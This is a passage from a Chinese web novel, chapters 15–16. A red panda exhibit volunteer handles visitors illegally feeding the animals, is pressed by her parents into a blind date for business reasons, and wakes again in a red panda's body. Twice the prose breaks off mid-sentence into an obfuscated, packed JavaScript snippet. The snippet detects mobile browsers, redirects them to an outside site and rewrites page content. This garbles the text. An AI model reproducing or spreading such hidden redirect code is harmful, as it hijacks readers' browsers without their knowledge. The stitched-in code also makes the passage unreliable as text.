动物园门口经常有些人卖着一些胡萝卜、青草之类的。只要路过，他们就会拦着：“要不要买一些进去喂动物。” 大部分都不会理会，但总有人听见喂动物心都痒了，就买下了这些东西。 园方也不是没阻止过这种，但他们就像野草一样，春风吹也生，怎么也杜绝不彻底。 这次，拿着胡萝卜来的就是一对老年夫妇。 本来程知玥还没有注意到，正在跟眼前的游客们讲解小熊猫的知识，讲到一半就被别的游客叫住了，她连忙赶过去，正巧看到一块胡萝卜被丢进了展区。 “请不要投喂！”程知玥人还没到，赶紧出声。 她已经看到老人旁边的老伴儿跃跃欲试，手都伸出去了。 “为什么不要？”老人疑惑，“我是在门口买的，他们说可以投喂。” “他们不是动物园的工作人员。”程知玥耐心解释，“他们这么说只是想买东西赚钱，动物园都是拒绝投喂的。” “可是这些东西跟动物园里的一样，我看它们也吃胡萝卜啊。” “首先动物园有自己的食谱，科学健康。其次，动物的肠胃跟人类的不一样，小熊猫主要以竹叶为主。而且你手上的食物你知道它的来历吗？确保它干净吗？到时候小熊猫真吃了会有什么问题，你们能负责吗？” “诶？”这下老人不服气了，“哪有那么严重，就会夸大吓唬人。” “就是，”一旁的老伴儿也嘀嘀咕咕，“就一志愿者，态度还这么差。你们说是不是。” 然而，旁边的游客们都没有搭理他们，在他们看来时都投以了鄙夷的注视。明明是他们的不对，还试图泼脏水到程知玥身上。 只是这样的目光却不能让他们反省，反而让他们更张狂了。 “我们也养过狗，哪有这么金贵的。” “就是，还不是给什么吃什么。” 蒋昀走进外场，就看到展区外围着一圈人。以往游客们都是好奇又开心地看着小熊猫，但今天他们的目光却聚焦在一对老人身上，目光是生气又怨恨，旁边还站着一个程知玥，她也是一副气到失语的样子。 蒋昀忍不住发问：“怎么了？” 游客们赶紧发声：“投喂！他们投喂！” 程知玥也示意他看向地面，一块胡萝卜已经在外场里了，还好这个点孩子们都已经入睡了，没有走到这边来，否则一定有贪吃的小熊猫忍不住偷吃。 这下，蒋昀的脸也冷了。他抬头，那对夫妇还在胡搅蛮缠，说着歪理。 “保安！麻烦叫一下保安！” 有了饲养员的这话，游客们也算找到了方向，纷纷呼叫着保安前来。 在保安的帮助下，这两人总算被带走，还小熊猫展区清净了。 还好有蒋昀的帮助，不然她还真不知道应该如何应对这种事情。程知玥看向蒋昀，而他却早已经转移视线，专心地布置竹子去了。 只是她不知道的是，在她转过头，重新给游客们讲解时，蒋昀也回过了头，深深地看了她一眼。 15. 第 15 章 【今天真是谢谢你。】 程知玥趴在床上，打出这一句话，再没有之前的犹豫，直接发送过去。 不过这次，却没有等到蒋昀的立即回复。 看着聊天界面，还是停留在自己的感谢上，程知玥扁了扁嘴。 好吧，饲养员的工作确实很忙很辛苦，她也能理解，但她还是隐约得觉得不开心。 放下手机，程知玥从床上起来，她看向窗外，一轮弯弯的月亮在天空中高悬着，看着这清冷的月色，她没由来得觉得有些寂寞。 手机又震动起来。 程知玥打开手机，会心一笑。 【没事，不用道谢。】 好吧，刚才是她有些多愁善感了。 下面还有一个视频，程知玥点开。 圈圈躺在地上，肚皮朝上，睡得是四仰八叉，时不时还舔舔嘴，好像做梦梦见在吃美味的苹果一样。蒋昀起了玩心，捏了捏它的小爪子，它摆摆手，试图驱赶这作乱的手。只是赶了一次，还有第二次。圈圈干脆翻了个身，趴在地上，把爪子对着地面，样子像极了一滩小熊饼，还是烤得焦香的那种。 转眼间，它的眼皮又合上了，小身体也随着呼气一起一伏的，再次陷入了香甜的梦境。 真好，在忙碌了一天，能看到这么温馨可爱的视频，简直是疗愈，不光是身体，就连心灵都被治愈了。 手机再次震动起来。 【明天回家一趟，见见赵家少爷。】 刚才的好心情瞬！间！消！失！ 怎么又要相亲啊！程知玥烦躁地拾起枕头，往墙上一扔，枕头反弹又打到她的脸上，真是让她无可奈何。 “叮叮叮……” 手机显示的是妈妈，程知玥真的很不想接电话，但对面的人却格外得有耐心，怎么样也不肯挂掉。 唉，程知玥无奈地叹了一口气，认命地接通了电话。 “怎么那么久才接电话？” 刚接起电话，面对的就是冷漠的指责。 “哦，我刚才在洗澡，听到手机响后，急忙冲了冲出来接电话。”程知玥谎话说起来倒是意外得流畅。 林茵也没有纠结她话里的真假，自顾自地说着：“行，那我再跟你说一遍。明天我约了赵家见面，赵家你知道吧，就是做房地产的那家。他们家儿子刚好有空也在场，你就跟他见见面。” “可是我……” “就这样约定了。”没等程知玥说完，林茵就强势地定了明天的日程，最后连拒绝的权利也不让她说出，直接挂断了电话。 真是，烦死了！ 第二天早上，程知玥还是准时出现在程功和林茵的家里。 程知玥走进家，赵家的人还没到，只有父母两人坐在沙发上，一个安静地看着报纸，一个悠闲地看着电视。听到她进门，眼睛都不抬一下。 “爸妈，我回来了。” 然而，他们两个人谁都没有搭理她，程知玥也没觉得尴尬，毕竟她都已经习惯了他们的冷漠。反而是一旁的管家微笑着对她点头示意。 程知玥换好拖鞋，走到沙发坐下，学着林茵的样子有一搭没一搭地看着电视。她们两人明明坐在同一条沙发上，但两人之间的距离都可以再同时坐下两个人了。 墙壁上的时钟还是老式的钟表，随着秒针的走动发出响声。 程知玥在心里数着，过了大概有五分钟的时间，他们还是一声不吭。 就在她以为他们会一直这样默不作声下去，林茵总算开口说话了：“上次那个王仁就算了。他们家还是接受了那个女人，前不久还打电话向我道歉。但这次的赵家，你可要好好把握。” “是的，赵家的孩子叫赵飞南，跟你一样，也是前不久才从国外回来。你这回可不能再向上次一样，控制好自己的脾气。”程功也在一边开口了。 程知玥知道，父亲是在说上次她气急，忍不住出手揍了王仁一拳的事情。她早就说过揍人的理由，但他们丝毫不听或者说根本不在意原因，程知玥也早已丧失解释的勇气，反正说了都没用，那还有必要再说一遍吗。 “好的，我知道了。” 听见程知玥的回答，程功这才满意点头，他看着报纸，又继续说道：“这次房价又涨了一些，他们家应该又赚了不少吧。” 这话里话外的意思，真是有够明显的。程知玥没有再吭声，但心里却翻了一个巨大的白眼。 就这么又静静地坐了十几分钟，门铃再一次响起。 门一打开，程功和林茵就像换了个人一样，笑容满面热情地招呼着来人：“哎呀，赵老板赵太太你们来啦，欢迎欢迎。” 变脸之快简直叫人叹为观止，反而是程知玥有些格格不入了。 “不好意思，我们迟到了。”赵先生抱歉地笑笑。 “是啊，你们家还真是有点难找，差点都迷路了。我就说吧，果然还是要在市区中心买房比较好。”赵太太整理着头发，超绝不经意露出限量版耳环。 这样的发言，林茵都不免脸上一僵，但她很快就恢复了笑脸，仿佛没有听懂赵太太话语里的嘲弄一般，反而是顺着她的意思奉承：“赵太太，你这耳环好漂亮啊，在哪里买的啊，一定超级贵吧。” 赵太太得意，林茵趁机会挽上了她的手，赵太太也没有拒绝，骄傲地扬起耳朵给她看：“这可是我从国际知名珠宝商哪里买来的，价值当然不菲。不过我也不是看在它的价格上买的，我这个人不在乎金钱，只在乎喜不喜欢。” 程功也赶紧跟赵先生打交道：“赵先生，今天大老远请你过来，真是不好意思。” “哪里的话。”赵先生比他太太客气多了，他侧了侧身子，让出一直跟在他背后的人。 程知玥这才发现他身后还有个人，她本来以为只有赵家夫妇一起来，他们儿子放了鸽子，正暗自庆幸着就看到了他。 赵飞南躲在赵先生的背后，低垂着头，额头也是一片刘海遮挡着，完全看不清他的样子。明明是一个大高个，看上去却唯唯诺诺的。 赵先生也看不下去了，他把背后的人拉到身边，对着程知玥介绍：“这是我儿子。”说着，他拍了拍他的肩膀，示意他开口说话。 赵飞南被他这一拍吓得身体一抖，他抬起头，飞快地看了程知玥一眼，小声地说着：“……” 程知玥露出疑惑的表情，他说了什么她完全没有听清，而且他的样子她也完全没有看到。 赵先生恨铁不成钢地瞪了他一眼，但看向程知玥时，却是温柔的表情：“这是我儿子赵飞南，他有点害羞。等你们多多接触就好了。” 这不是有点害羞吧，这已经完全到了社恐的地步啊。他这么自闭，真的是从国外回来的吗，或者说他这个样子怎么在国外生存啊。 程知玥也适宜地露出微笑自我介绍：“我叫程知玥，现在在程氏工作。” “我知道，昨天的发布会很精彩啊。” “哪里哪里。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578554|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实我侄女也挺喜欢玩偶的，到时候出产品我一定支持！” “是吗，那可真是太感谢了。” 程知玥和赵先生你来我往地说着客气话，都快让程知玥产生错觉，不是在跟赵飞南相亲，而是在跟赵先生相亲了，尽是她俩在说话，赵飞南一句话都没有出声。 “饭菜已经准备好了，我们先去吃饭吧。”程功看到管家的示意，连忙打断两边人的谈话，带着一行人端坐到餐桌上。 照样还是两家父母坐一起，子女坐在一起。 “十道菜啊，有点少，不过看上去还是很好吃的。”赵太太首先开口点评。 大概是已经习惯了赵太太的挑刺，林茵也就当没听见，热心地介绍：“这是我们家管家的拿手好菜，请一定要多尝尝。” 说着，林茵对程知玥扬了扬眉。 这个信号太明显了，就算想装没看见，但在场这么多人都看见了，程知玥实在是推脱不了。她夹起一块鱼肉放到旁边赵飞南的碗里。 赵飞南：“……” 还是听不清他的话，但从礼节上来看，他应该说的是谢谢吧。 赵飞南稍微抬起头，顺从地吃下了碗里的鱼肉。 程知玥这才看清他的脸，虽然也只是侧脸，他就是普通人的长相，说不上帅也说不上丑，但皮肤白皙，都白得没了血色，反而有些可怕。 双方家长这才开始谈笑风生起来。 不知道赵飞南什么想法，但程知玥想到未来，真是担忧到吃不下饭来。如果真的跟他在一起的话，完全无法沟通，只能靠猜测他到底是什么意思，这样靠揣测一直生活该有多累啊，这样的生活还有什么意思。 程知玥浑浑噩噩地吃完了这顿饭，就连什么时候结束，赵家什么时候离开都茫然不所知。 “我看那孩子挺好的。”送别了赵家，林茵总结。 程知玥简直不敢相信自己的耳朵，哪里好了！他全场都没有抬起头来，就连说话都完全听不清。是不是相亲时，所有女方家长眼里，就没有一个相亲对象不好的。 “可是我觉得……” “你觉得什么，无法沟通？那是人家害羞，说明人家纯情，这样的男生不多见，你可要好好把握。” 这说的什么话，才见了一次面，怎么滤镜这么大，都快要赶上别人亲爹妈了。 “但是我不喜欢。”程知玥与理据争 “一见钟情本来就少，你多相处相处不就完了。”林茵不耐烦地打断。 就连程功也加入了说教：“我跟你说过，他家是做房地产的。只有你跟他结婚，那么我们也会得到他们家的投资，到时候程氏就一定能再起。” 说到底，还不是看上了他们家的投资。这下，程知玥也明白了，就算她说出了不喜欢他的一百个理由，她的家人们还是会不顾她的反对，逼迫她跟他交往。 所以，她再怎么跟他们争论，也完全没有异议。 “好了，你先回去吧，这件事你再想想。”程功不耐烦地说着最后的结束语。 说是再想想，但哪里给了她想的机会，反正他们也只要一个同意的答案。 程知玥失落地走在街上，向自己的家走去，那么长的距离，她硬是徒步走了回去。明明应该是很累的，但远远比不上她的心累。 天已经黑了，月亮也被乌云遮住了面纱。 程知玥躺在自己的床上，这黑夜就如同她此时的心情，一片阴暗。 她闭上了眼睛。 16. 第 16 章 程知玥再次睁开眼时，就看到熟悉的内场。 现在大概是清晨，天还蒙蒙亮，但小熊猫已经在内场活跃起来。 贪吃的年年已经开始吃竹叶了，从它周围残余的竹叶残渣来看，它已经吃了好一会了。怂怂的缺缺正在舔毛，是一只爱干净的小熊猫。其他几只也在打闹着。 这是又和圈圈互换了？程知玥还没有睡醒，脑袋还迷迷糊糊的，即使意识到这个可能，她也不算太意外，甚至第三次互换还麻木了。 程知玥干脆闭上眼睛，再次进入睡梦。在意识消失的最后，她不禁想着，她和圈圈还真有共同点，都喜欢趴在这个小木屋里。 程知玥的再次苏醒是被蒋昀的脚步声吵醒的。 天已经大亮，蒋昀进入了内场。清醒的五只小熊猫齐刷刷看向他，程知玥睁着朦朦胧胧的眼睛打了个哈欠也迷蒙地看向他，真是太可爱了。 蒋昀打开小门，四只小熊猫“刷”地就窜了出去。年年还是在大吃特吃，程知玥也趴着懒得动弹。 蒋昀首先凑过来观察程知玥：“怎么了，圈圈，今天不想出门吗？” 程知玥视若无睹地趴着，今天她还真不想出门。 行吧。蒋昀也不再劝阻，他离开了内场，今天早上的工作还得继续呢，先把新鲜的竹叶准备给外场的小熊猫吧。 程知玥盯着年年出神，这只小熊猫真是能吃，难怪小熊猫的昵称叫做小能，这只看上去就肉肉的，腿也短。程知玥看了看自己，好像也长胖了，不过吨位还是没有年年大。 其实这么一直互换也不错，换回去她又要跟不喜欢的人相亲，被逼着和他们结婚。想到程功和林茵，这么多年来甚少给她笑脸，她在他们的安排下按部就班地生活着，早已经丧失了反抗的力气。现在回想起来，她都快要不知道开心是什么感觉了。如果一直这么生活下去，她都不知道人生还有什么意义。 当小熊猫多好啊，每天吃了睡，睡了吃，开心时就卖个萌引得游客们的喜爱，除了发情期有点危险，其余的日子要多滋润就有多滋润。 程知玥翻了个身，发现蒋昀临走时还在她脸的旁边放了块苹果片。程知玥甚至都不需要动弹，张嘴就能吃到。 咀嚼着苹果片，程知玥甚至还唱起了歌。这种日子真心不错，她不想做人了！ 年年停下了吃竹叶的动作，它歪着头看着程知玥，又再次歪了歪头，小小的脑袋大大的疑惑。今天这同事稀里哗啦在开心啥呢？ 蒋昀放完了竹叶，再次回到内场时就看到圈圈在叫唤，虽然听不懂它在叫什么，但据他的观察，应该是高兴吧。 蒋昀再次打开小门，这次年年率先窜了出去。走了走了，今天同事有点不正常。 只是程知玥也慢慢地下树，踏进小门，一步一步地走到外场。 习惯了小熊猫偶尔的神经质举动，蒋昀也没有在意，毕竟现在他最重要的事情就是清理内场，等它们回家又是一个干净整洁的家。 呼吸着新鲜空气，程知玥觉得心神都放松了。高悬的太阳，路边的小草，清澈的水池一切都是那么美好。 程知玥“哒哒哒”地迈着小能步奔向餐桌，虽然现在不是饭点，她也吃不了竹叶，但餐桌旁有好几个丰荣和喂食玩具。早上没有吃饭，就靠这些小零嘴补补。 “圈圈来了！” “一来就是小苹果的方向，果然很馋，难怪越来越胖了。” “圈圈不要听，这是恶评。” 一大早，还挺热闹啊。程知玥远远地就看见已经有一圈人在展区外围了一圈，兴奋地看着小熊猫了。 程知玥停住了脚步，打量着眼前的喂食玩具。它的构造跟风车一样，不过是八瓣扇叶，瓣尾都安装着一个小木桶，里面应该就是苹果了。 有两只小熊猫正围在风车周围，左刨刨右刨刨，完全无法下手。一只总算暂停了风车的运转，另外一只赶紧窜了上去。不巧那只又放开了爪子，本来站在风车顶端的小熊猫不得不随着重量直接下坠。还好它身形轻盈，动作灵巧，才不至于摔个四仰八叉。 呵，还是得看她。 程知玥移到另外一边，她左爪按住了小木桶，另外一只爪直接往里面掏。抓住了一块苹果片赶紧喂到自己嘴里。 另外两只小熊猫赶紧坐收渔翁之利，连忙到程知玥的旁边，也把爪子放进小木桶里掏苹果。 程知玥赶紧松开左手，还顺势一推，风车就这样直接转了起来。 可怜两只小熊猫什么都没捞着，只能眼巴巴地看着程知玥津津有味地吃苹果。有一只还想上前去抢，但程知玥早就看穿了它的意图，看着它过来了，赶紧背过身。等它再转到她面前时，她又一个转身，直接把它绕晕了。 “圈圈好聪明啊，好会用丰荣玩具。” “七七和弯弯真是小笨蛋，笨得可爱。” “七七还想抢圈圈的小苹果呢，结果啥都没捞着。” 等到程知玥吃完，那两只小熊猫还没有摸着门道，表情都有些委屈了。 谁被这么圆圆的眼睛，可爱的脸蛋盯着，都没有办法铁石心肠，真是败给它们了。 程知玥认命地按住小木桶，自己拿了一块，七七和弯弯赶紧凑过来，三小只一起排排坐巴巴地吃苹果。 小木桶里的苹果片很快吃完了，但这点量对于程知玥哪里够。她虽然身体缩小了，饭量也随之减少了，但对于小熊猫来说，竹叶才是它们的主食，小苹果只是小零食而已。 程知玥把目标瞄向了木桥。木桥的中间悬挂着一根绳子，绳子底端系着一个由竹子编织的小篮子，里面也装着苹果片。 程知玥走到小篮子底下，她抬头看了看，暗自思忖，这个距离高了点，她或许要站起来，奋力抬起前臂才能勉强够到，这应该就是饲养员们为了训练小熊猫们的上肢力量才安置到这个高度。 想吃这个篮子里的苹果片可能对于其他小熊猫来说是一个难题，但对于她，一个拥有人类正常智商的人来说，这就完全不是问题。 爬树对于程知玥来说已经不是难题了，因此这个桥对于她来说也完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582069|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全没有问题，她快速地扒着一根底柱，迅速地爬到桥上。 桥的宽度刚好可以由一只小熊猫横行通过。程知玥走到小篮子的位置，弯下腰，不对，她没有腰，她弯下身体，勾住了绳子。 两只小爪子就这么左一拉右一扯，飞快地就把小篮子拉了上来，速度之快，令人叹服。 这下好了。看着篮子里的苹果片，程知玥满意地咂咂嘴，这可能是几能份的小苹果，现在全归她了。 “看到了吗看到了吗！她竟然这么聪明！” “好快的动作啊，不愧是小吃货。” “圈圈这么聪明，又可爱，是我生的该多好。” 程知玥吹着微风，眯着眼睛，听着赞美，优哉游哉地吃着苹果。 不错，说得很好，再多夸奖一点。 十点是小熊猫展区放小熊猫饭的时间。 这一次，程知玥没有像以前那样躲得远远的，而是看见了蒋昀提着饭过来，就立刻学着其他小熊猫的样子蹲坐在它们吃饭的木架上。 六只小熊猫排排坐，乖巧地等待着吃饭，这是每个来看小熊猫的人最期待的事情了。 程知玥嗅了嗅面前的小熊猫饭，不知怎么的，她觉得今天的饭特别得香，她都有些心动了。她犹豫地看了看四周，其他小熊猫们都大快朵颐地享受着食物，这不禁让她都有些流口水。 回想起那天当实习饲养员的日子，蒋昀用的材料和做法，似乎、好像、可能，人能吃。 不过真的要行动时，她还是有些犹豫。总觉得吃了，似乎真的再也没有办法变人了。 “我给你讲圈圈今天真的好厉害。” “来来来，看我拍的视频。” “哇！真的也，这是我见过最聪明的小熊猫了。” 变不成人就变不成人了吧！反正也没有什么好期待的，变成小熊猫天天听赞美更开心。 程知玥心一横，闭上眼睛，埋头在饭盆里。 很难形容这个味道，这个窝窝头就像平时吃的窝窝头一样，松软可口，还有着竹子的清香，竟然还挺好吃的！ 程知玥大口大口地吃着饭，饿了那么久，总算肚子有饱腹的感觉了。 年年不愧是贪吃鬼，第一个就解决了自己的饭。它看着旁边，程知玥还在埋头苦吃，饭也还有很多。 没有任何犹豫，年年挤到程知玥的旁边，也把自己的脑袋往她盆里放。 本来一个饭盆就堪堪放一只小能头，年年挤进来，更显拥挤。但年年却不这么觉得，它就想吃饭。 有没有搞错！她才觉得这饭好吃，就有小熊猫想要跟她抢饭，这有没有天理啦！ 程知玥一个爪子就向年年抓去，年年没想到同事竟然还有这招，半天没有反应过来，呆呆地看着她，好像被她打懵了一样。 呵，程知玥挑衅地瞪了它一眼，这才继续安心吃她的饭。 等饭吃完，程知玥满足地打了一个咳。她悠然地向看台看去，一下子眼睛都瞪大了。 为什么她会出现在这里？！